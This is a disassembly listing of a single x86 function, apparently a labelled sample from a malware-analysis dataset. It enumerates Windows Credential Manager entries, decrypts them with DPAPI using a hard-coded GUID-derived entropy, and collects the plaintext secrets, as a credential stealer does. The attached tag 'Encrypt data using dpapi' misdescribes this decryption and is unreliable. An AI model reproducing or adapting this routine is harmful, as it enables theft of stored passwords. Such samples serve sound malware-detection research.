Function at 0x4081c9
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
mov dword [ebp - 0x14], str.abe2869f_9b47_4cd9_a358_c22904dba7f7
mov dword [esp], str.advapi32.dll
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [ebp - 0x18], eax
mov dword [esp + 4], str.CredEnumerateA
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], str.CredFree
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xc], 0
jmp 0x408244
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
add eax, edx
mov al, byte [eax]
movzx eax, al
shl eax, 2
mov edx, dword [ebp - 0xc]
mov word [ebp + edx*2 - 0x86], ax
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x24
jbe 0x408226
lea eax, [ebp - 0x86]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], 0x4a
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x98], 0
lea eax, [ebp - 0x90]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x8c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [ebp - 0x1c]
call eax
sub esp, 0x10
test eax, eax
je 0x40840c
mov dword [ebp - 0xc], 0
jmp 0x4083ec
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0xc]
shl edx, 2
add eax, edx
mov eax, dword [eax]
mov eax, dword [eax + 4]
cmp eax, 1
jne 0x4083e9
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0xc]
shl edx, 2
add eax, edx
mov eax, dword [eax]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0xc]
shl edx, 2
add eax, edx
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x34]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x3c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sub.CRYPT32.DLL_CryptUnprotectData
sub esp, 0x1c
test eax, eax
je 0x4083e9
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0xc]
shl edx, 2
add eax, edx
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
cmp eax, 0x12
jbe 0x4083e8
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x90]
mov ecx, dword [ebp - 0xc]
shl ecx, 2
add edx, ecx
mov edx, dword [edx]
mov edx, dword [edx + 8]
add edx, 0x12
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], edx
mov dword [esp + 8], 2
mov dword [esp + 4], str._c_s_a_S_b_b_b_b
lea eax, [ebp - 0x98]
mov dword [esp], eax
call fcn.00409983
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
je 0x4083e9
mov dword [esp + 0x10], 1
mov eax, dword [ebp - 0x24]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x98]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x94]
mov dword [esp], eax
call fcn.00409cdd
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 0x10], eax
jmp 0x4083e9
nop
inc dword [ebp - 0xc]
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0xc], eax
jb 0x4082b4
mov eax, dword [ebp - 0x90]
mov dword [esp], eax
mov eax, dword [ebp - 0x20]
call eax
sub esp, 4
mov eax, dword [ebp - 0x94]
leave
ret